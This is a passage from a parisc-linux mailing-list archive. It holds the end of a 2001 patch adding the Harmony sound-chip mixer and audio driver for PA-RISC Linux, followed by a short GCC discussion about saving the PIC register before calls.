+		harmony_mixer->current_gain=(harmony_mixer->current_gain & ~(GAIN_LO_MASK | GAIN_RO_MASK)) | (left_level << GAIN_LO_SHIFT) | (right_level << GAIN_RO_SHIFT);
+		harmony_mixer_set_gain();
+		return (new_right_level << 8) + new_left_level;		
+	}
+	if(channel == SOUND_MIXER_IGAIN) {
+      
+		right_level=to_harmony_level(right_level,MAX_INPUT_LEVEL);
+		left_level=to_harmony_level(left_level,MAX_INPUT_LEVEL);
+		new_right_level=to_oss_level(right_level,MAX_INPUT_LEVEL);
+		new_left_level=to_oss_level(left_level,MAX_INPUT_LEVEL);
+		harmony_mixer->current_gain=(harmony_mixer->current_gain & ~(GAIN_LI_MASK | GAIN_RI_MASK)) | (left_level << GAIN_LI_SHIFT) | (right_level << GAIN_RI_SHIFT);
+		harmony_mixer_set_gain();
+		return (new_right_level << 8) + new_left_level;
+		
+	}
+	if(channel == SOUND_MIXER_VOLUME) {
+		
+		left_level=to_harmony_level(100-left_level,MAX_VOLUME_LEVEL);
+		new_left_level=to_oss_level(MAX_VOLUME_LEVEL-left_level,MAX_VOLUME_LEVEL);
+		harmony_mixer->current_gain=(harmony_mixer->current_gain & ~GAIN_MA_MASK)| (left_level << GAIN_MA_SHIFT);
+		harmony_mixer_set_gain();
+		return new_left_level;
+	}
+
+	return -EINVAL;
+}
+
+
+/* 
+ * Return the selected input device (mic or line)
+ */
+
+static int harmony_mixer_get_recmask(void) 
+{
+	int current_input_line;
+	
+	current_input_line=(harmony_mixer->current_gain & GAIN_IS_MASK) >> GAIN_IS_SHIFT;
+	if(current_input_line) return SOUND_MASK_MIC;
+	else return SOUND_MASK_LINE;
+}
+
+/*
+ * Set the input (only one at time, arbitrary priority to line in)
+ */
+
+static int harmony_mixer_set_recmask(int recmask)
+{
+	int new_input_line;
+	int new_input_mask;
+
+	if((recmask & SOUND_MASK_LINE)) {
+		new_input_line=0;
+		new_input_mask=SOUND_MASK_LINE;
+	} else  {
+		new_input_line=1;
+		new_input_mask=SOUND_MASK_MIC;
+	}
+	harmony_mixer->current_gain=((harmony_mixer->current_gain & ~GAIN_IS_MASK) | (new_input_line << GAIN_IS_SHIFT ));
+	harmony_mixer_set_gain();
+	return new_input_mask;
+}
+
+
+/* 
+ * give the active outlines
+ */
+
+static int harmony_mixer_get_outmask(void)
+{
+	int outmask;
+	
+	outmask=0;
+	
+	if(harmony_mixer->current_gain & GAIN_HE_MASK) outmask |=SOUND_MASK_PHONEOUT;
+	if(harmony_mixer->current_gain & GAIN_LE_MASK) outmask |=SOUND_MASK_LINE;
+	if(harmony_mixer->current_gain & GAIN_SE_MASK) outmask |=SOUND_MASK_SPEAKER;
+	return outmask;
+}
+
+
+
+static int harmony_mixer_set_outmask(int outmask)
+{
+	if(outmask & SOUND_MASK_PHONEOUT) 
+		harmony_mixer->current_gain|=GAIN_HE_MASK; 
+	else harmony_mixer->current_gain&=~GAIN_HE_MASK;
+	if(outmask & SOUND_MASK_LINE) harmony_mixer->current_gain|=GAIN_LE_MASK;
+	else harmony_mixer->current_gain&=~GAIN_LE_MASK;
+	if(outmask & SOUND_MASK_SPEAKER) harmony_mixer->current_gain|=GAIN_SE_MASK;
+	else harmony_mixer->current_gain&=~GAIN_SE_MASK;
+	harmony_mixer_set_gain();
+	return (outmask & (SOUND_MASK_PHONEOUT | SOUND_MASK_LINE | SOUND_MASK_SPEAKER));
+
+}
+
+/*
+ * This code is inspired from sb_mixer.c
+ * It determins actions selected by application
+ */
+
+int harmony_mixer_ioctl(struct inode * inode, struct file * file, unsigned int cmd, unsigned long arg)
+{
+	int val;
+	int ret;
+
+	if (((cmd >> 8) & 0xff) == 'M') {
+		if (_SIOC_DIR(cmd) & _SIOC_WRITE) {
+			if (get_user(val, (int *)arg)) return -EFAULT;
+     
+			switch (cmd & 0xff) {
+			case SOUND_MIXER_RECSRC:
+				ret = harmony_mixer_set_recmask(val);
+				break;
+				
+			case SOUND_MIXER_OUTSRC:
+				ret = harmony_mixer_set_outmask(val);
+				break;
+				
+			default:
+				ret = harmony_mixer_set_level(cmd & 0xff, val);
+			}
+		} else {
+	  
+			switch (cmd & 0xff) {
+				
+			case SOUND_MIXER_RECSRC:
+				ret = harmony_mixer_get_recmask();
+				break;
+				
+			case SOUND_MIXER_OUTSRC:
+				ret = harmony_mixer_get_outmask();
+				break;
+				
+			case SOUND_MIXER_DEVMASK:
+				ret = HARMONY_MIXER_DEVICES;
+				break;
+	      
+			case SOUND_MIXER_STEREODEVS:
+				ret = HARMONY_STEREO_DEVICES;
+				break;
+	      
+			case SOUND_MIXER_RECMASK:
+				ret = HARMONY_RECORDING_DEVICES;
+				break;
+	      
+			case SOUND_MIXER_OUTMASK:
+				ret = HARMONY_OUTPUT_DEVICES;
+				break;
+				
+			case SOUND_MIXER_CAPS:
+				ret = HARMONY_CAPS;
+				break;
+	      
+			default:
+				ret = harmony_mixer_get_level(cmd & 0xff);
+				break;
+			}
+		}
+		return put_user(ret, (int *)arg); 
+	} else
+		return -EINVAL;
+}
+
+static struct file_operations harmony_mixer_fops = {
+	owner:	THIS_MODULE,
+	ioctl: 	harmony_mixer_ioctl,
+};
+
+
+/*
+ * Mute all the output and reset Harmony.
+ */
+
+void harmony_mixer_reset(void)
+{
+	harmony_mixer->current_gain=GAIN_TOTAL_SILENCE;
+	harmony_mixer_set_gain();
+	gsc_writel(1, &harmony_mixer->hpa->reset);
+	udelay(100);
+	gsc_writel(0, &harmony_mixer->hpa->reset);
+}
+
+int harmony_mixer_init(struct harmony_dev * harmony_device)
+{
+  
+	int ret;
+	harmony_mixer=harmony_device;
+  
+	/* Register the device file operations */
+
+	ret=register_sound_mixer(&harmony_mixer_fops,-1);
+	if(ret<0) {
+		printk(KERN_WARNING "Harmony: Error Registering Mixer Driver\n");
+		return -EFAULT;
+	}
+  
+	harmony_mixer_reset();
+  
+	return 0;
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony_mixer.h linux/drivers/sound/harmony_mixer.h
--- linux.original/drivers/sound/harmony_mixer.h	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony_mixer.h	Wed Jan 17 22:25:29 2001
@@ -0,0 +1,58 @@
+/*
+ * sound/harmony_mixer.h
+ * 
+ * Definitions for the Harmony mixer
+ */
+/*
+ * Copyright (C) by Matthieu Delahaye 2001
+ *
+ * OSS/Free for Linux is distributed under the GNU GENERAL PUBLIC LICENSE (GPL)
+ * Version 2 (June 1991). See the "COPYING" file distributed with this software
+ * for more info.
+ */
+
+/*
+ * Channels Positions in mixer register
+ */
+
+#define GAIN_HE_SHIFT   27
+#define GAIN_HE_MASK    ( 1 << GAIN_HE_SHIFT) 
+#define GAIN_LE_SHIFT   26
+#define GAIN_LE_MASK    ( 1 << GAIN_LE_SHIFT) 
+#define GAIN_SE_SHIFT   25
+#define GAIN_SE_MASK    ( 1 << GAIN_SE_SHIFT) 
+#define GAIN_IS_SHIFT   24
+#define GAIN_IS_MASK    ( 1 << GAIN_IS_SHIFT) 
+#define GAIN_MA_SHIFT   20
+#define GAIN_MA_MASK    ( 0x0f << GAIN_MA_SHIFT) 
+#define GAIN_LI_SHIFT   16
+#define GAIN_LI_MASK    ( 0x0f << GAIN_LI_SHIFT) 
+#define GAIN_RI_SHIFT   12
+#define GAIN_RI_MASK    ( 0x0f << GAIN_RI_SHIFT) 
+#define GAIN_LO_SHIFT   6
+#define GAIN_LO_MASK    ( 0x3f << GAIN_LO_SHIFT) 
+#define GAIN_RO_SHIFT   0
+#define GAIN_RO_MASK    ( 0x3f << GAIN_RO_SHIFT) 
+
+#define GAIN_TOTAL_SILENCE 0x00F00FFF
+#define GAIN_DEFAULT       0x0F0FF000
+
+#define MAX_OUTPUT_LEVEL (GAIN_RO_MASK >> GAIN_RO_SHIFT)
+#define MAX_INPUT_LEVEL  (GAIN_RI_MASK >> GAIN_RI_SHIFT)
+#define MAX_VOLUME_LEVEL (GAIN_MA_MASK >> GAIN_MA_SHIFT)
+
+
+#define HARMONY_MIXER_DEVICES (SOUND_MASK_OGAIN|SOUND_MASK_IGAIN|SOUND_MASK_VOLUME)
+#define HARMONY_RECORDING_DEVICES (SOUND_MASK_MIC | SOUND_MASK_LINE )
+#define HARMONY_OUTPUT_DEVICES (SOUND_MASK_SPEAKER | SOUND_MASK_LINE | SOUND_MASK_PHONEOUT )
+#define HARMONY_CAPS 1
+#define HARMONY_STEREO_DEVICES (SOUND_MASK_IGAIN | SOUND_MASK_OGAIN)
+
+/*
+ * Channels Mask in mixer register
+ */
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony_sound.c linux/drivers/sound/harmony_sound.c
--- linux.original/drivers/sound/harmony_sound.c	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony_sound.c	Wed Jan 17 22:25:15 2001
@@ -0,0 +1,603 @@
+/* 
+
+ 	drivers/sound/harmony.c 
+
+	This is a sound driver for Lasi's Harmony sound chip.  This is
+	unlikely to be used for anything other than a PA-RISC.
+
+	Harmony is found in HP 712s, 715/new, and many other GSC based machines. 
+Copyright 2000 (c) Linuxcare Canada, Alex deVries <alex@linuxcare.com>
+
+Bugs:
+
+1. Doesn't work on 715/old
+
+This driver doesn't work on 715/old machines, which include the 715/75.  The
+chip used for this is technically called 'Vivace', which is identical to 
+Harmony.  Should be easy to fix.  It has something to do with the way it is
+reported by the inventory code.  The HPA is not that of Lasi or ASP so the
+interrupts aren't registered properly.
+
+3. gain control ioctls are missing
+4. recording is missing
+
+5. Buffer handling code
+
+The three buffer system should probably be changed to use N buffers, so we 
+can load the buffers into memory and then exit.  Shouldn't be too hard, and 
+the performance will be a lot nicer.
+
+6. Clicks at start and finish
+
+I'm not sure why, but somehow I've introduced two clicks at the start and
+two clicks at the finish of each playing.  Shouldn't be too hard to track down.
+
+
+About the rotating buffer
+-------------------------
+
+I'm going to explain how the rotating buffer thing works because I had a hard
+time figuring it out for myself.
+
+At any given time, harmony uses two different buffers.  One is the frame
+that is currently playing, another is the frame that is ready to be played.
+
+Obviously you can't be writing into either of these frames while the chip
+is playing, or you'll hear clicks, pops and out of order frames.  One weekend
+of listening to RMS sing The Free Software Song out of order is a good way to 
+drive this point home.
+
+So, we use a total of three frames.  One is in PLAYING mode, one is is 
+READY_TO_PLAY mode, and the third is either LOADED or EMPTY.  All buffers
+start up by being EMTPY.  When harmony_audio_write loads up two frames,
+interrupts are started and the loop starts.  The ISR pops in the first frame,
+marking it as PLAYING.  The ISR will get called again, and the second 
+frame will be loaded and marked as READY_TO_PLAY.  When the first frame is
+done, the ISR will be called again; frame one is marked as EMPTY to reload,
+frame two is marked PLAYING, frame three is marked READY_TO_PLAY.
+
+All the while, harmony_audio_write is looking for frames marked EMPTY, and
+filling them and marking them LOADED.
+
+Yes, this does actually work.
+
+Let me save you an entire Thursday of listening to "orvalds Linus Linux, I 
+prounouce as Linus This is" by giving you this rotating buffer code.
+
+*/
+
+
+/* 
+   Changeg struct harmony_dev named harmony to 
+   a pointer (named harmony_audio) to the same structure
+   
+   Putted out all access to gain and reset 
+   (harmony_mixer now managed these)
+
+                                  Matthieu Delahaye
+
+*/
+
+
+/* Until we have recording working, this is where we're putting the recording data. */
+
+/* The following is required because of our cache incoherence */
+#include "harmony.h"
+static char graveyard[4096] __attribute__((aligned(4096)));
+
+static unsigned char aligned_buf [4096*(MAX_BUFS+1)] __attribute__ ((aligned (4096))); 
+
+
+
+static int harmony_audio_open(struct inode *inode, struct file *file);
+static int harmony_audio_release(struct inode *inode, struct file *file);
+static loff_t harmony_audio_llseek(struct file *file, loff_t offset, int whence);
+static ssize_t harmony_audio_read(struct file *file,
+                                char *buffer,
+                                size_t count,
+                                loff_t *ppos);
+static ssize_t harmony_audio_write(struct file *file,
+                                 const char *buffer,
+                                 size_t count,
+                                 loff_t *ppos);
+static unsigned int harmony_audio_poll(struct file *file,
+                                     struct poll_table_struct *wait);
+static int harmony_audio_ioctl(struct inode *inode,
+                                struct file *file,
+                                unsigned int cmd,
+                                unsigned long arg);
+static int harmony_audio_mmap(struct file *file, struct vm_area_struct *vma);
+
+
+static void harmony_interrupt(int irq, void *dev, struct pt_regs *regs);
+
+static void harmony_set_control(u8 data_format, u8 sample_rate, u8 stereo_select) ;
+static void harmony_set_format(u8 data_format);
+static void harmony_set_rate(u8 data_rate);
+static int harmony_enable_interrupts(void); 
+static int harmony_disable_interrupts(void);
+static int harmony_silence(unsigned char * buffer,int end, int start);
+
+static struct file_operations harmony_audio_fops = {
+	owner: THIS_MODULE,
+	llseek: harmony_audio_llseek,
+	read: 	harmony_audio_read,
+	write:	harmony_audio_write,
+	poll: 	harmony_audio_poll,
+	ioctl: 	harmony_audio_ioctl,
+	mmap:	harmony_audio_mmap,
+	open: 	harmony_audio_open,
+	release:	harmony_audio_release,
+};
+
+static struct harmony_dev * harmony_audio;
+
+/* This is the PDC signature to load up the driver. */
+
+
+/* This is the callback that's called by the inventory hardware code if
+it finds a match to the registered driver. */
+
+static void harmony_update_control(void) {
+	u32 default_cntl;
+
+	/* Set CNTL */
+	default_cntl = ((1 << 31) |  /* The C bit */
+		(harmony_audio->data_format << 6) |   /* Set the data format */
+		(harmony_audio->stereo_select << 5) |   /* Stereo select */
+		(harmony_audio->sample_rate));        /* Set sample rate */
+
+	/* initialize CNTL */
+	gsc_writel( default_cntl, &harmony_audio->hpa->cntl);
+}
+
+static void harmony_set_control(u8 data_format, u8 sample_rate, u8 stereo_select) {
+
+	harmony_audio->sample_rate = sample_rate;
+	harmony_audio->data_format = data_format;
+	harmony_audio->stereo_select = stereo_select;
+	harmony_update_control();
+}
+static void harmony_set_rate(u8 data_rate) {
+	harmony_audio->sample_rate = data_rate;
+	harmony_update_control();
+}
+
+static void harmony_set_format(u8 data_format) {
+
+	harmony_audio->data_format = data_format;
+	harmony_update_control();
+}
+
+static void harmony_set_stereo(u8 stereo_select) {
+
+	harmony_audio->stereo_select = stereo_select;
+	harmony_update_control();
+}
+
+static int harmony_disable_interrupts(void) {
+	/* Enable interrupts to start playing again */
+	gsc_writel(0,&(harmony_audio->hpa->dstatus)); 
+	return 0;
+}
+
+static int harmony_enable_interrupts(void) {
+	/* Enable interrupts to start playing again */
+	gsc_writel(DSTATUS_IE,&(harmony_audio->hpa->dstatus)); 
+	return 0;
+}
+
+/*
+ * silence()
+ *
+ * This subroutine fills in a buffer starting at location start and
+ * silences for length bytes.  This references the current
+ * configuration of the audio format.
+ *
+ */
+
+static int harmony_silence(unsigned char * buffer,int start, int length) {
+
+	u8 silence_char = 0;
+
+	/* Despite what you hear, silence is different in
+	   different audio formats.  */
+
+	switch (harmony_audio->data_format) {
+		case HARMONY_DF_16BIT_LINEAR: silence_char = 0; break;
+		case HARMONY_DF_8BIT_ULAW:	silence_char = 0x55; break;
+		case HARMONY_DF_8BIT_ALAW:	silence_char = 0xff; break;
+		default: silence_char = 0;
+	}
+
+	memset(aligned_buf+start,silence_char, length);
+	return 0;
+}
+
+
+static int harmony_audio_open(struct inode *inode, struct file *file)
+{
+	int i;
+	u32	cntl;
+
+	/* Clear out the state of all the buffers */
+	for (i=0;i<MAX_BUFS;i++) {
+		harmony_audio->buf_state[i] = HARMONY_BUF_EMPTY;
+	}
+	harmony_audio->frames_so_far = 0;
+	harmony_audio->done = 0;
+	harmony_audio->outstanding_buffers = 0; /* Start off in a balanced mode. */
+	harmony_set_control(HARMONY_DF_8BIT_ULAW,HARMONY_SR_8KHZ,HARMONY_SS_STEREO); 
+
+	/* Clear out all the buffers and flush to cache */
+	harmony_silence(aligned_buf,0,4096*MAX_BUFS);
+	CHECK_WBACK_INV(aligned_buf,4096*MAX_BUFS);
+
+	while((cntl = gsc_readl(&harmony_audio->hpa->cntl)) & CNTL_C);
+
+	return 0;
+}
+
+/*
+ * Release (close) the audio device.
+ */
+
+static int harmony_audio_release(struct inode *inode, struct file *file)
+{
+
+	return 0;
+}
+static loff_t harmony_audio_llseek(struct file *file, loff_t offset, int whence)
+{
+	printk(KERN_ERR "harmony: llseek\n");
+	return -ENODEV;
+}
+
+static ssize_t harmony_audio_read(struct file *file,
+                                char *buffer,
+                                size_t count,
+                                loff_t *ppos)
+{
+	printk(KERN_ERR "harmony: read\n");
+	return -ENODEV;
+}
+
+static int find_free_buffer(void) {
+
+	int i,buf_to_fill_in = -1;
+
+	for (i=MAX_BUFS-1;i>=0;i--) {
+		if (harmony_audio->buf_state[i] == HARMONY_BUF_EMPTY) {
+			buf_to_fill_in = i;
+		}
+	}
+	return buf_to_fill_in;
+}
+
+
+static ssize_t harmony_audio_write(struct file *file,
+                                 const char *buffer,
+                                 size_t size_count,
+                                 loff_t *ppos)
+{
+
+	u32 status;
+	int total_count = (int) size_count;
+	int count = 0;
+	int frame_size;
+	int buf_to_fill_in = 0;
+	long timeout ;
+	int dstatus,cntl;
+	
+	while(count < total_count) {
+
+		/* Wait until we're out of control mode */
+		while ((status = gsc_readl(&(harmony_audio->hpa->cntl))) >> 31); 
+
+		/* Figure out which buffer to fill in */
+		timeout = 0;
+		buf_to_fill_in = HARMONY_BUF_NONE;
+		while ((buf_to_fill_in<0) && (timeout<100000)) {
+			buf_to_fill_in = find_free_buffer();
+			if (buf_to_fill_in < 0) {
+				udelay(10);
+				timeout++;
+			}
+		}
+		if (timeout==100000) {
+			return -1;
+		}
+
+		/* Figure out the size of the frame */
+		if ((total_count - count) > 4095) {
+			frame_size = 4096;
+		} else {
+			frame_size = total_count - count;
+			/* Clear out the buffer, since there we'll only be 
+			   overlaying part of the old buffer with the new one */
+			harmony_silence(aligned_buf,(4096*buf_to_fill_in), 4096);
+		}
+
+		/* Copy the page to an aligned buffer */
+		copy_from_user(aligned_buf+(4096*buf_to_fill_in), buffer,frame_size );
+		CHECK_WBACK_INV(aligned_buf,4096*MAX_BUFS);
+
+		harmony_audio->buf_state[buf_to_fill_in] = HARMONY_BUF_FILLED; 
+
+		harmony_audio->done = 0;
+		count += frame_size;
+
+		if (frame_size < 4096) {
+			count = total_count;
+			harmony_audio->done = 1;
+		}
+
+
+	dstatus = gsc_readl(&harmony_audio->hpa->dstatus);
+
+	cntl = gsc_readl(&harmony_audio->hpa->cntl);
+
+printk("write: buf: %i frame: %i done: %i cntl: 0x%x dstatus: 0x%x\n",buf_to_fill_in,harmony_audio->frames_so_far,harmony_audio->done,cntl,dstatus);
+
+
+
+		if (harmony_audio->frames_so_far == 1) {
+			gsc_writel(__pa(aligned_buf+(4096*0)),&(harmony_audio->hpa->pnxtadd));  
+			gsc_writel(__pa(graveyard),&(harmony_audio->hpa->rnxtadd));  
+			harmony_enable_interrupts();
+		}
+
+		harmony_audio->frames_so_far++;
+	}
+
+	return count;
+}
+static unsigned int harmony_audio_poll(struct file *file,
+                                     struct poll_table_struct *wait)
+{
+	printk(KERN_ERR "harmony: poll\n");
+	return -ENODEV;
+}
+
+#define DBGEV printk
+#define DBGX printk
+#define DBGP
+
+static int harmony_audio_ioctl(struct inode *inode,
+                                struct file *file,
+                                unsigned int cmd,
+                                unsigned long arg)
+{
+
+
+	unsigned long flags;
+	int ival;
+	u32 new_format,newrate;
+	
+	switch (cmd) {
+	case OSS_GETVERSION:		/* _SIOR ('M', 118, int) */
+		DBGX("OSS_GETVERSION\n");
+		ival = SOUND_VERSION;
+		return put_user(ival, (int *) arg);
+
+	case SNDCTL_DSP_GETCAPS:	/* _SIOR ('P',15, int) */
+		DBGX("SNDCTL_DSP_GETCAPS\n");
+		ival = DSP_CAP_DUPLEX | DSP_CAP_BATCH ;
+		return put_user(ival, (int *) arg);
+
+	case SNDCTL_DSP_GETFMTS:	/* _SIOR ('P',11, int) */
+		DBGX("SNDCTL_DSP_GETFMTS\n");
+		ival = (AFMT_S16_BE | AFMT_MU_LAW | AFMT_A_LAW ); 
+		return put_user(ival, (int *) arg);
+		break;
+
+	case SOUND_PCM_READ_RATE:	/* _SIOR ('P', 2, int) */
+/*
+		I have no idea what this should be. 
+*/
+		ival = 0;	
+		return put_user(ival, (int *) arg);
+
+	case SNDCTL_DSP_SPEED:
+
+		if (get_user(ival, (int *) arg))
+			return -EFAULT;
+		if (ival) {
+			switch(ival) {
+				case 8000: newrate = HARMONY_SR_8KHZ; break;
+				case 16000: newrate = HARMONY_SR_16KHZ; break; 
+				case 27428: newrate = HARMONY_SR_27KHZ; break; 
+				case 32000: newrate = HARMONY_SR_32KHZ; break; 
+				case 48000: newrate = HARMONY_SR_48KHZ; break; 
+				case 9600: newrate = HARMONY_SR_9KHZ; break; 
+				case 5125: newrate = HARMONY_SR_5KHZ; break; 
+				case 11025: newrate = HARMONY_SR_11KHZ; break; 
+				case 18900: newrate = HARMONY_SR_18KHZ; break; 
+				case 22050: newrate = HARMONY_SR_22KHZ; break; 
+				case 37800: newrate = HARMONY_SR_37KHZ; break; 
+				case 44100: newrate = HARMONY_SR_44KHZ; break; 
+				case 33075: newrate = HARMONY_SR_33KHZ; break; 
+				case 6615: newrate = HARMONY_SR_6KHZ; break; 
+				default: printk("Could not match rate %d\n",ival); newrate = HARMONY_SR_8KHZ;
+			}
+			harmony_set_rate(newrate);
+		} else {
+			ival = harmony_audio->sample_rate;
+		}
+		return put_user(ival,(int*) arg);
+
+	case SNDCTL_DSP_STEREO:		/* _SIOWR('P', 3, int) */
+		if (get_user(ival, (int *) arg))
+			return -EFAULT;
+		if (ival != 0 && ival != 1)
+			return -EINVAL;
+		harmony_set_stereo(ival);
+		return put_user(ival, (int *) arg);
+
+	case SNDCTL_DSP_GETBLKSIZE:	/* _SIOWR('P', 4, int) */
+		ival = 4096;
+		return put_user(ival, (int *) arg);
+	case SNDCTL_DSP_RESET:
+		return 0;
+
+	case SNDCTL_DSP_SETFMT:		/* _SIOWR('P',5, int) */
+		if (get_user(ival, (int *) arg)) {
+			printk("arg, couldn't get arg\n");
+			return -EFAULT;
+		}
+		if (ival != AFMT_QUERY) {
+			switch (ival) {
+				case AFMT_MU_LAW: new_format = HARMONY_DF_8BIT_ULAW; break;
+				case AFMT_A_LAW:	new_format = HARMONY_DF_8BIT_ALAW; break;
+				case AFMT_U16_BE:	new_format = HARMONY_DF_16BIT_LINEAR; break; 
+				default: {
+					printk("Invalid sound format %d\n",ival);
+					return -EINVAL;
+				}
+			}
+			harmony_set_format(new_format);
+		} else {
+			switch (harmony_audio->data_format) {
+				case HARMONY_DF_8BIT_ULAW: ival = AFMT_MU_LAW; break;
+				case HARMONY_DF_8BIT_ALAW: ival = AFMT_A_LAW; break;
+				case HARMONY_DF_16BIT_LINEAR:	ival = AFMT_U16_BE; break;
+				default: ival = 0;
+			}
+		}
+		return put_user(ival, (int *) arg);
+
+	default:
+		DBGP("------ OH NO unknown ioctl 0x%x\n", cmd);
+		return -EINVAL;
+	}
+	DBGP("unimplemented ioctl 0x%x\n", cmd);
+	return -EINVAL;
+}
+static int harmony_audio_mmap(struct file *file, struct vm_area_struct *vma)
+{
+	printk(KERN_ERR "harmony: mmap\n");
+	return -ENODEV;
+}
+
+static void harmony_interrupt(int irq, void *dev, struct pt_regs *regs)
+{
+	u32 dstatus,pcuradd;
+	struct harmony_hpa * hpa;
+	int i, buf_to_free = 0, curbuf = MAX_BUFS;
+
+	/* Setup the hpa */
+
+	hpa = ((struct harmony_dev *)dev)->hpa;
+	printk(KERN_INFO "Interrupt\n");
+	
+	/* Read dstatus and pcuradd (the current address) */
+	dstatus = gsc_readl(&hpa->dstatus);
+	pcuradd = gsc_readl(&hpa->pcuradd);
+
+	/* Find the last filled buffer */
+	curbuf = MAX_BUFS;
+	for (i=MAX_BUFS-1;i>=0;i--) {
+		if (harmony_audio->buf_state[i]==HARMONY_BUF_FILLED) {
+			curbuf = i;
+		}
+	}
+	if (curbuf == MAX_BUFS) {
+		if (harmony_audio->done) {
+		} else {
+			printk("harmony_interrupt: ack, nothing to play yet.  No available buffer.\n");
+		}
+	}
+
+	/* Turn off interrupts */
+	harmony_disable_interrupts();
+	dstatus = gsc_readl(&hpa->dstatus);
+
+	/* Check if this is a request to get the next play buffer */
+	if(dstatus & DSTATUS_PN) {
+		gsc_writel(__pa(aligned_buf+(4096*curbuf)), &hpa->pnxtadd);
+		harmony_audio->outstanding_buffers++;
+
+		if (!harmony_audio->done) {
+
+			/* Set the volume; we probably don't need to do this. */
+		
+			/* Transition the playing buffer to empty*/
+
+			buf_to_free = -1;
+			for (i=0;i<MAX_BUFS;i++) {
+				if (harmony_audio->buf_state[i]==HARMONY_BUF_PLAYING) {
+					buf_to_free = i;
+				}
+			}
+			if (buf_to_free == -1) {
+			} else {
+				harmony_audio->buf_state[buf_to_free] = HARMONY_BUF_EMPTY;
+			}
+
+			/* Transition the buffers that are ready to be played to playing*/
+
+			buf_to_free = -1;
+
+			for (i=0;i<MAX_BUFS;i++) {
+				if (harmony_audio->buf_state[i]==HARMONY_BUF_READY_TO_PLAY) {
+					buf_to_free = i;
+				}
+			}
+			if (buf_to_free == -1) {
+			} else {
+				harmony_audio->buf_state[buf_to_free] = HARMONY_BUF_PLAYING;
+			}
+			harmony_audio->buf_state[curbuf] = HARMONY_BUF_READY_TO_PLAY;
+
+			harmony_enable_interrupts();
+		}
+	}
+
+	/* Check if we're being asked to fill in a recording buffer */
+	if(dstatus & DSTATUS_RN) {
+
+		/* Not supported yet */
+		gsc_writel(__pa(graveyard) , &hpa->rnxtadd);
+		harmony_audio->outstanding_buffers--;
+	}
+	if (harmony_audio->done && (!harmony_audio->outstanding_buffers)) {
+		harmony_disable_interrupts();	
+	}
+}
+
+
+
+int harmony_audio_init(struct harmony_dev * harmony_device)
+{
+   int ret;
+   int cntl;
+   
+   harmony_audio=harmony_device;
+   
+	/* Request that IRQ */
+	request_irq(harmony_audio->irq, &harmony_interrupt, 0 ,"harmony", (void *) harmony_audio);
+
+   	ret = register_sound_dsp(&harmony_audio_fops, -1);
+	if (ret < 0) {
+		printk("Harmony: Error registering\n");
+		return -EFAULT;
+	}
+	harmony_set_control(HARMONY_DF_8BIT_ULAW,HARMONY_SR_8KHZ,HARMONY_SS_STEREO);
+
+	/* Clear the buffers so you don't end up with crap in the buffers. */ 
+
+	harmony_silence(aligned_buf,0,4096*MAX_BUFS);
+
+	/* Make sure this makes it to cache */
+	CHECK_WBACK_INV(aligned_buf,4096*MAX_BUFS);
+
+
+	/* Wait around until we're out of control mode */
+	while((cntl = gsc_readl(&harmony_audio->hpa->cntl)) & CNTL_C);
+	return 0;
+	
+	
+}
+
+
+

--------------72A8A284674098C68F7C5063--


From - Thu Nov 08 21:15:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Wed, 17 Jan 2001 17:20:10 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <200101172220.RAA01421@hiauly1.hia.nrc.ca>
References: <25409.979767732@upchuck.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619552 10585 80.91.229.3 (22 Nov 2014 01:25:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:52 +0000 (UTC)
Cc: alan@linuxcare.com.au, rth@redhat.com, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: law@redhat.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jan 17 15:16:46 2001
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA30028
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 15:16:45 -0700
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA01421;
	Wed, 17 Jan 2001 17:20:11 -0500 (EST)
In-Reply-To: <25409.979767732@upchuck.cygnus.com> from "Jeffrey A Law" at Jan 17, 2001 02:42:12 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9264

>   In message <200101171622.LAA13215@hiauly1.hia.nrc.ca>you write:
>   > I think all these problems can be resolved by emitting the insn at the
>   > first call.  We just have to keep track of whether it has been emitted
>   > or not.
> I'm not entirely sure what you mean by this.
> 
> We must emit the code to restore the PIC register after each call when
> generating PIC code.  There are no known exceptions to this rule.
>
> You might be talking about saving the PIC register into the stack or
> pseudo during the prologue.  Yes, we could arrange to do that if and
> only if we had a call in PIC mode.  That's fairly easy to do.

Yes, I am talking about saving the pic register just before the first call
insn rather than in the prologue.  This way we know that the save is needed
and we don't have to worry about whether the pseudo that is initially
generated for it gets a hard register or not.  If there are no calls, the
insn won't be emitted.  The insn can also be eliminated if reload decides
to use the stack saved value of the PIC register for restoration of the PIC
register after calls.  The 32 bit ABI saves it to the stack under almost
all circumstances.

We just need to add a flag to Alan's machine structure, initialize it
when the structure is created, and test it before each call insn.  If it
is 0, we save the PIC register and set the flag.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Lasi harmony driver with mixer
